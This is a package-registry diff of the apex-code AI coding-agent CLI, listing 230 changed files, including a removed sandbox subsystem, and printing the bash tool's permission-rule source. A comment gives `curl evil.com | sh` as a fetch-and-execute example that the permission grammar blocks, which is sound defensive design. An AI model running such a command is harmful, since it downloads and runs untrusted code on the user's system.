apex-code 0.0.6 → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (230) hide show
  1. package/CHANGELOG.md +26 -0
  2. package/README.md +7 -8
  3. package/dist/cli/args.d.ts +0 -12
  4. package/dist/cli/args.d.ts.map +1 -1
  5. package/dist/cli/args.js +2 -32
  6. package/dist/cli/args.js.map +1 -1
  7. package/dist/cli.d.ts.map +1 -1
  8. package/dist/cli.js +4 -130
  9. package/dist/cli.js.map +1 -1
  10. package/dist/config.d.ts +1 -1
  11. package/dist/config.d.ts.map +1 -1
  12. package/dist/config.js +1 -1
  13. package/dist/config.js.map +1 -1
  14. package/dist/core/agent-session-services.d.ts.map +1 -1
  15. package/dist/core/agent-session-services.js +0 -8
  16. package/dist/core/agent-session-services.js.map +1 -1
  17. package/dist/core/delegation/agents.d.ts.map +1 -1
  18. package/dist/core/delegation/agents.js +2 -1
  19. package/dist/core/delegation/agents.js.map +1 -1
  20. package/dist/core/delegation/runtime.d.ts +6 -14
  21. package/dist/core/delegation/runtime.d.ts.map +1 -1
  22. package/dist/core/delegation/runtime.js +1 -2
  23. package/dist/core/delegation/runtime.js.map +1 -1
  24. package/dist/core/extensions/loader.d.ts.map +1 -1
  25. package/dist/core/extensions/loader.js +3 -4
  26. package/dist/core/extensions/loader.js.map +1 -1
  27. package/dist/core/extensions/source-runtime.d.ts +4 -5
  28. package/dist/core/extensions/source-runtime.d.ts.map +1 -1
  29. package/dist/core/extensions/source-runtime.js +4 -5
  30. package/dist/core/extensions/source-runtime.js.map +1 -1
  31. package/dist/core/formatter-lifecycle.d.ts +2 -1
  32. package/dist/core/formatter-lifecycle.d.ts.map +1 -1
  33. package/dist/core/formatter-lifecycle.js +2 -1
  34. package/dist/core/formatter-lifecycle.js.map +1 -1
  35. package/dist/core/hooks/types.d.ts +2 -3
  36. package/dist/core/hooks/types.d.ts.map +1 -1
  37. package/dist/core/hooks/types.js +2 -3
  38. package/dist/core/hooks/types.js.map +1 -1
  39. package/dist/core/http-idle-timeout.d.ts +3 -5
  40. package/dist/core/http-idle-timeout.d.ts.map +1 -1
  41. package/dist/core/http-idle-timeout.js +3 -5
  42. package/dist/core/http-idle-timeout.js.map +1 -1
  43. package/dist/core/mcp/config.d.ts +18 -1
  44. package/dist/core/mcp/config.d.ts.map +1 -1
  45. package/dist/core/mcp/config.js +24 -7
  46. package/dist/core/mcp/config.js.map +1 -1
  47. package/dist/core/mcp/connector.d.ts +2 -3
  48. package/dist/core/mcp/connector.d.ts.map +1 -1
  49. package/dist/core/mcp/connector.js.map +1 -1
  50. package/dist/core/mcp/oauth/authorize.d.ts +2 -0
  51. package/dist/core/mcp/oauth/authorize.d.ts.map +1 -1
  52. package/dist/core/mcp/oauth/authorize.js +5 -2
  53. package/dist/core/mcp/oauth/authorize.js.map +1 -1
  54. package/dist/core/mcp/oauth/mcp-token.d.ts +4 -6
  55. package/dist/core/mcp/oauth/mcp-token.d.ts.map +1 -1
  56. package/dist/core/mcp/oauth/mcp-token.js +5 -7
  57. package/dist/core/mcp/oauth/mcp-token.js.map +1 -1
  58. package/dist/core/mcp/runtime.d.ts +1 -0
  59. package/dist/core/mcp/runtime.d.ts.map +1 -1
  60. package/dist/core/mcp/runtime.js +2 -1
  61. package/dist/core/mcp/runtime.js.map +1 -1
  62. package/dist/core/package-manager.d.ts.map +1 -1
  63. package/dist/core/package-manager.js +0 -15
  64. package/dist/core/package-manager.js.map +1 -1
  65. package/dist/core/permissions/store.d.ts +6 -11
  66. package/dist/core/permissions/store.d.ts.map +1 -1
  67. package/dist/core/permissions/store.js +23 -51
  68. package/dist/core/permissions/store.js.map +1 -1
  69. package/dist/core/project-resources.d.ts +62 -0
  70. package/dist/core/project-resources.d.ts.map +1 -0
  71. package/dist/core/project-resources.js +42 -0
  72. package/dist/core/project-resources.js.map +1 -0
  73. package/dist/core/sdk.d.ts +1 -9
  74. package/dist/core/sdk.d.ts.map +1 -1
  75. package/dist/core/sdk.js +10 -35
  76. package/dist/core/sdk.js.map +1 -1
  77. package/dist/core/session-share.d.ts +6 -8
  78. package/dist/core/session-share.d.ts.map +1 -1
  79. package/dist/core/session-share.js +9 -12
  80. package/dist/core/session-share.js.map +1 -1
  81. package/dist/core/settings-manager.d.ts +0 -21
  82. package/dist/core/settings-manager.d.ts.map +1 -1
  83. package/dist/core/settings-manager.js +4 -12
  84. package/dist/core/settings-manager.js.map +1 -1
  85. package/dist/core/tools/bash.d.ts.map +1 -1
  86. package/dist/core/tools/bash.js +0 -47
  87. package/dist/core/tools/bash.js.map +1 -1
  88. package/dist/core/tools/web-fetch.d.ts.map +1 -1
  89. package/dist/core/tools/web-fetch.js +4 -8
  90. package/dist/core/tools/web-fetch.js.map +1 -1
  91. package/dist/core/tools/web-search-exa.d.ts +3 -6
  92. package/dist/core/tools/web-search-exa.d.ts.map +1 -1
  93. package/dist/core/tools/web-search-exa.js +5 -8
  94. package/dist/core/tools/web-search-exa.js.map +1 -1
  95. package/dist/core/trust-manager.d.ts +6 -5
  96. package/dist/core/trust-manager.d.ts.map +1 -1
  97. package/dist/core/trust-manager.js +42 -19
  98. package/dist/core/trust-manager.js.map +1 -1
  99. package/dist/core/web-search-provider.d.ts +0 -10
  100. package/dist/core/web-search-provider.d.ts.map +1 -1
  101. package/dist/core/web-search-provider.js +2 -16
  102. package/dist/core/web-search-provider.js.map +1 -1
  103. package/dist/main.d.ts +0 -1
  104. package/dist/main.d.ts.map +1 -1
  105. package/dist/main.js +2 -3
  106. package/dist/main.js.map +1 -1
  107. package/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
  108. package/dist/modes/interactive/components/settings-selector.js +1 -1
  109. package/dist/modes/interactive/components/settings-selector.js.map +1 -1
  110. package/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
  111. package/dist/modes/interactive/interactive-mode.js +0 -29
  112. package/dist/modes/interactive/interactive-mode.js.map +1 -1
  113. package/dist/modes/rpc/rpc-types.d.ts +1 -1
  114. package/dist/modes/rpc/rpc-types.d.ts.map +1 -1
  115. package/dist/modes/rpc/rpc-types.js.map +1 -1
  116. package/dist/utils/tools-manager.d.ts +0 -25
  117. package/dist/utils/tools-manager.d.ts.map +1 -1
  118. package/dist/utils/tools-manager.js +3 -52
  119. package/dist/utils/tools-manager.js.map +1 -1
  120. package/dist/utils/version-check.d.ts +0 -2
  121. package/dist/utils/version-check.d.ts.map +1 -1
  122. package/dist/utils/version-check.js +0 -2
  123. package/dist/utils/version-check.js.map +1 -1
  124. package/docs/settings.md +2 -7
  125. package/npm-shrinkwrap.json +5 -5
  126. package/package.json +2 -2
  127. package/dist/core/sandbox/bwrap-arguments.d.ts +0 -41
  128. package/dist/core/sandbox/bwrap-arguments.d.ts.map +0 -1
  129. package/dist/core/sandbox/bwrap-arguments.js +0 -136
  130. package/dist/core/sandbox/bwrap-arguments.js.map +0 -1
  131. package/dist/core/sandbox/child-entry.d.ts +0 -2
  132. package/dist/core/sandbox/child-entry.d.ts.map +0 -1
  133. package/dist/core/sandbox/child-entry.js +0 -24
  134. package/dist/core/sandbox/child-entry.js.map +0 -1
  135. package/dist/core/sandbox/cli-launch.d.ts +0 -162
  136. package/dist/core/sandbox/cli-launch.d.ts.map +0 -1
  137. package/dist/core/sandbox/cli-launch.js +0 -366
  138. package/dist/core/sandbox/cli-launch.js.map +0 -1
  139. package/dist/core/sandbox/cli-supervisor.d.ts +0 -31
  140. package/dist/core/sandbox/cli-supervisor.d.ts.map +0 -1
  141. package/dist/core/sandbox/cli-supervisor.js +0 -147
  142. package/dist/core/sandbox/cli-supervisor.js.map +0 -1
  143. package/dist/core/sandbox/default-hosts.d.ts +0 -28
  144. package/dist/core/sandbox/default-hosts.d.ts.map +0 -1
  145. package/dist/core/sandbox/default-hosts.js +0 -69
  146. package/dist/core/sandbox/default-hosts.js.map +0 -1
  147. package/dist/core/sandbox/full-access.d.ts +0 -28
  148. package/dist/core/sandbox/full-access.d.ts.map +0 -1
  149. package/dist/core/sandbox/full-access.js +0 -63
  150. package/dist/core/sandbox/full-access.js.map +0 -1
  151. package/dist/core/sandbox/git-identity.d.ts +0 -57
  152. package/dist/core/sandbox/git-identity.d.ts.map +0 -1
  153. package/dist/core/sandbox/git-identity.js +0 -78
  154. package/dist/core/sandbox/git-identity.js.map +0 -1
  155. package/dist/core/sandbox/host-approval.d.ts +0 -42
  156. package/dist/core/sandbox/host-approval.d.ts.map +0 -1
  157. package/dist/core/sandbox/host-approval.js +0 -99
  158. package/dist/core/sandbox/host-approval.js.map +0 -1
  159. package/dist/core/sandbox/linux-backend.d.ts +0 -48
  160. package/dist/core/sandbox/linux-backend.d.ts.map +0 -1
  161. package/dist/core/sandbox/linux-backend.js +0 -328
  162. package/dist/core/sandbox/linux-backend.js.map +0 -1
  163. package/dist/core/sandbox/macos-backend.d.ts +0 -30
  164. package/dist/core/sandbox/macos-backend.d.ts.map +0 -1
  165. package/dist/core/sandbox/macos-backend.js +0 -385
  166. package/dist/core/sandbox/macos-backend.js.map +0 -1
  167. package/dist/core/sandbox/network-proxy.d.ts +0 -38
  168. package/dist/core/sandbox/network-proxy.d.ts.map +0 -1
  169. package/dist/core/sandbox/network-proxy.js +0 -153
  170. package/dist/core/sandbox/network-proxy.js.map +0 -1
  171. package/dist/core/sandbox/network-refusal.d.ts +0 -24
  172. package/dist/core/sandbox/network-refusal.d.ts.map +0 -1
  173. package/dist/core/sandbox/network-refusal.js +0 -72
  174. package/dist/core/sandbox/network-refusal.js.map +0 -1
  175. package/dist/core/sandbox/policy.d.ts +0 -40
  176. package/dist/core/sandbox/policy.d.ts.map +0 -1
  177. package/dist/core/sandbox/policy.js +0 -55
  178. package/dist/core/sandbox/policy.js.map +0 -1
  179. package/dist/core/sandbox/profiles.d.ts +0 -25
  180. package/dist/core/sandbox/profiles.d.ts.map +0 -1
  181. package/dist/core/sandbox/profiles.js +0 -23
  182. package/dist/core/sandbox/profiles.js.map +0 -1
  183. package/dist/core/sandbox/rpc/command-client.d.ts +0 -28
  184. package/dist/core/sandbox/rpc/command-client.d.ts.map +0 -1
  185. package/dist/core/sandbox/rpc/command-client.js +0 -86
  186. package/dist/core/sandbox/rpc/command-client.js.map +0 -1
  187. package/dist/core/sandbox/rpc/command-proxy.d.ts +0 -48
  188. package/dist/core/sandbox/rpc/command-proxy.d.ts.map +0 -1
  189. package/dist/core/sandbox/rpc/command-proxy.js +0 -120
  190. package/dist/core/sandbox/rpc/command-proxy.js.map +0 -1
  191. package/dist/core/sandbox/rpc/credential-client.d.ts +0 -20
  192. package/dist/core/sandbox/rpc/credential-client.d.ts.map +0 -1
  193. package/dist/core/sandbox/rpc/credential-client.js +0 -170
  194. package/dist/core/sandbox/rpc/credential-client.js.map +0 -1
  195. package/dist/core/sandbox/rpc/credential-proxy.d.ts +0 -44
  196. package/dist/core/sandbox/rpc/credential-proxy.d.ts.map +0 -1
  197. package/dist/core/sandbox/rpc/credential-proxy.js +0 -287
  198. package/dist/core/sandbox/rpc/credential-proxy.js.map +0 -1
  199. package/dist/core/sandbox/rpc/framing.d.ts +0 -35
  200. package/dist/core/sandbox/rpc/framing.d.ts.map +0 -1
  201. package/dist/core/sandbox/rpc/framing.js +0 -114
  202. package/dist/core/sandbox/rpc/framing.js.map +0 -1
  203. package/dist/core/sandbox/rpc/git-credential-helper.d.ts +0 -47
  204. package/dist/core/sandbox/rpc/git-credential-helper.d.ts.map +0 -1
  205. package/dist/core/sandbox/rpc/git-credential-helper.js +0 -222
  206. package/dist/core/sandbox/rpc/git-credential-helper.js.map +0 -1
  207. package/dist/core/sandbox/rpc/git-credential-proxy.d.ts +0 -66
  208. package/dist/core/sandbox/rpc/git-credential-proxy.d.ts.map +0 -1
  209. package/dist/core/sandbox/rpc/git-credential-proxy.js +0 -209
  210. package/dist/core/sandbox/rpc/git-credential-proxy.js.map +0 -1
  211. package/dist/core/sandbox/supervisor-temp.d.ts +0 -18
  212. package/dist/core/sandbox/supervisor-temp.d.ts.map +0 -1
  213. package/dist/core/sandbox/supervisor-temp.js +0 -21
  214. package/dist/core/sandbox/supervisor-temp.js.map +0 -1
  215. package/dist/core/sandbox/supervisor.d.ts +0 -62
  216. package/dist/core/sandbox/supervisor.d.ts.map +0 -1
  217. package/dist/core/sandbox/supervisor.js +0 -32
  218. package/dist/core/sandbox/supervisor.js.map +0 -1
  219. package/dist/core/sandbox/terminal-handoff.d.ts +0 -68
  220. package/dist/core/sandbox/terminal-handoff.d.ts.map +0 -1
  221. package/dist/core/sandbox/terminal-handoff.js +0 -221
  222. package/dist/core/sandbox/terminal-handoff.js.map +0 -1
  223. package/dist/core/sandbox/terminal-size.d.ts +0 -53
  224. package/dist/core/sandbox/terminal-size.d.ts.map +0 -1
  225. package/dist/core/sandbox/terminal-size.js +0 -126
  226. package/dist/core/sandbox/terminal-size.js.map +0 -1
  227. package/dist/core/sandbox/violations.d.ts +0 -23
  228. package/dist/core/sandbox/violations.d.ts.map +0 -1
  229. package/dist/core/sandbox/violations.js +0 -30
  230. package/dist/core/sandbox/violations.js.map +0 -1
@@ -1 +1 @@
1
- {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport {\n\tescalationRootFor,\n\textractRefusedPath,\n\tlooksLikeSandboxRefusal,\n\trequestCommandEscalation,\n} from \"../sandbox/rpc/command-client.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => 